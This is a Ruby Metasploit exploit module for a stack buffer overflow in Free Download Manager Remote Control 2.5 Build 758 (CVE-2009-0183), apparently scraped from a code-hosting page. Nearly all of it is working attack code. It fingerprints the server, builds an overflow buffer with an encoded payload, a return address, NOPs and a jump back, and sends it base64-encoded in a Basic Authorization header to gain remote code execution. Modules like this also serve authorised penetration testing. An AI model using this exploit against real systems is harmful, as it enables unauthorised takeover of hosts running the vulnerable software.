74 lines
2.3 KiB
Ruby
74 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
# w/auth required: [*] x.x.x.x ( 401-Basic realm="FDM Remote control server" )
|
|
# w/o auth: <title>FDM remote control server</title>
|
|
# w/o auth: <div align="right"><span class="style1"><span class="style4">Free Download Manager remote control server.</span><br />
|
|
# <span class="style4">Version 1.0.</span> </span></div>
|
|
# Extra url: /compdlds.req
|
|
HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Free Download Manager Remote Control Server Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Free Download Manager
|
|
Remote Control 2.5 Build 758. When sending a specially crafted
|
|
Authorization header, an attacker may be able to execute arbitrary code.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-0183' ],
|
|
[ 'OSVDB', '51745' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 600,
|
|
'BadChars' => "\x0d\x0a",
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
},
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Feb 2 2009'))
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
|
|
sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')
|
|
sploit = Rex::Text.encode_base64(sploit)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
send_request_raw(
|
|
{
|
|
'headers' => { 'Authorization' => "Basic #{sploit}" }
|
|
}, 2)
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|